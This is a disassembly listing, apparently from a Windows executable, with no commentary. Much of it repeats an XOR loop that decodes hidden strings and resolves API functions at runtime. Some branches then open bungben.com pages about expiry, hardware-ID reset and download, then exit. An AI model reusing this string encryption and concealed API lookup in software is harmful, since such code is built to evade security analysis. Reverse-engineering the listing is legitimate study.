sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14001dfb0
mov rcx, r10
call fcn.140001840
call rax
mov r15d, eax
lea rdx, [rbp - 0x60]
call fcn.14001f6d0
mov rsi, rax
cmp byte [rax + 0x10], 0
je 0x14001e153
mov r8d, edi
cmp r14d, 2
jl 0x14001e114
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001e021
cmp r8d, 0x11
jge 0x14001e153
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14001e120
lea rdx, [rbp + 0x48]
call fcn.14001f660
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14001e173
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x58]
call fcn.14001f650
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14001e2e3
cmp r14d, 2
jl 0x14001e29d
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001e1b0
jmp 0x14001e2e3
mov r9, r10
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001e2b0
mov rcx, r10
call fcn.140001840
mov dword [rsp + 0x48], 1
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], 0x32
mov qword [rsp + 0x20], rsi
mov r9d, recv
mov r8, rbx
mov edx, r15d
xor ecx, ecx
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.https:__bungben.com__pageexpire
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call fcn.14003fd10
int3
movups xmm0, xmmword [str.dbwuas]
movups xmmword [rsp + 0x60], xmm0
cmp r14d, 2
jl 0x14001e46d
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001e380
jmp 0x14001e4b3
lea r9, [rsp + 0x60]
mov r8d, edi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001e480
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.1400226a0
cmp rax, 0xffffffffffffffff
je 0x14001e9a6
mov dword [rbp + 0x50], edi
lea rdx, [rbp - 0x60]
call fcn.14001f620
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14001e633
mov r8d, edi
cmp r14d, 2
jl 0x14001e5f5
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001e502
cmp r8d, 0x1d
jge 0x14001e633
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14001e600
mov rcx, r10
call fcn.140001840
call rax
mov r15d, eax
lea rdx, [rbp - 0x60]
call fcn.14001f6f0
mov rsi, rax
cmp byte [rax + 0x15], 0
je 0x14001e7a3
mov r8d, edi
cmp r14d, 2
jl 0x14001e764
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001e671
cmp r8d, 0x16
jge 0x14001e7a3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14001e770
lea rdx, [rbp + 0x48]
call fcn.14001f660
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14001e7c3
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x58]
call fcn.14001f650
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14001e933
cmp r14d, 2
jl 0x14001e8ed
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001e800
jmp 0x14001e933
mov r9, r10
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001e900
mov rcx, r10
call fcn.140001840
mov dword [rsp + 0x48], 1
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], 0x32
mov qword [rsp + 0x20], rsi
mov r9d, recv
mov r8, rbx
mov edx, r15d
xor ecx, ecx
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.https:__bungben.com__pagerehwid
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call fcn.14003fd10
int3
movsd xmm0, qword [str.gwagyykhtn]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140070918]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x14007091c]
mov byte [rsp + 0x6c], al
mov r8d, edi
cmp r14d, 2
jl 0x14001eab3
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.gwagyykhtn]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001eac0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.1400226a0
mov dword [rbp + 0x50], edi
lea rdx, [rbp - 0x60]
cmp rax, 0xffffffffffffffff
je 0x14001efe6
call fcn.14001f620
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14001ec73
mov r8d, edi
cmp r14d, 2
jl 0x14001ec35
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001eb42
cmp r8d, 0x1d
jge 0x14001ec73
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14001ec40
mov rcx, r10
call fcn.140001840
call rax
mov r15d, eax
lea rdx, [rbp - 0x60]
call fcn.14001f720
mov rsi, rax
cmp byte [rax + 0x18], 0
je 0x14001ede3
mov r8d, edi
cmp r14d, 2
jl 0x14001eda4
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001ecb1
cmp r8d, 0x19
jge 0x14001ede3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001edb0
lea rdx, [rbp + 0x48]
call fcn.14001f660
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14001ee03
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x58]
call fcn.14001f650
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14001ef73
cmp r14d, 2
jl 0x14001ef2d
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001ee40
jmp 0x14001ef73
mov r9, r10
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001ef40
mov rcx, r10
call fcn.140001840
mov dword [rsp + 0x48], 1
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], 0x32
mov qword [rsp + 0x20], rsi
mov r9d, recv
mov r8, rbx
mov edx, r15d
xor ecx, ecx
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.https:__bungben.com__pagedownload
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call fcn.14003fd10
int3
call fcn.14001f620
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14001f153
mov r8d, edi
cmp r14d, 2
jl 0x14001f113
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001f020
cmp r8d, 0x1d
jge 0x14001f153
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14001f120
mov rcx, r10
call fcn.140001840
call rax
mov r15d, eax
lea rdx, [rsp + 0x60]
call fcn.14001f750
mov rsi, rax
cmp byte [rax + 0xd], 0
je 0x14001f293
mov r8d, edi
cmp r14d, 2
jl 0x14001f25a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rsi]
xorps xmm1, xmm0
movd dword [rsi], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [rsi + 4]
xorps xmm11, xmm0
movd dword [rsi + 4], xmm11
mov r8d, 8
movsxd r9, r8d
add r9, rsi
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14001f260
lea rdx, [rbp + 0x48]
call fcn.14001f660
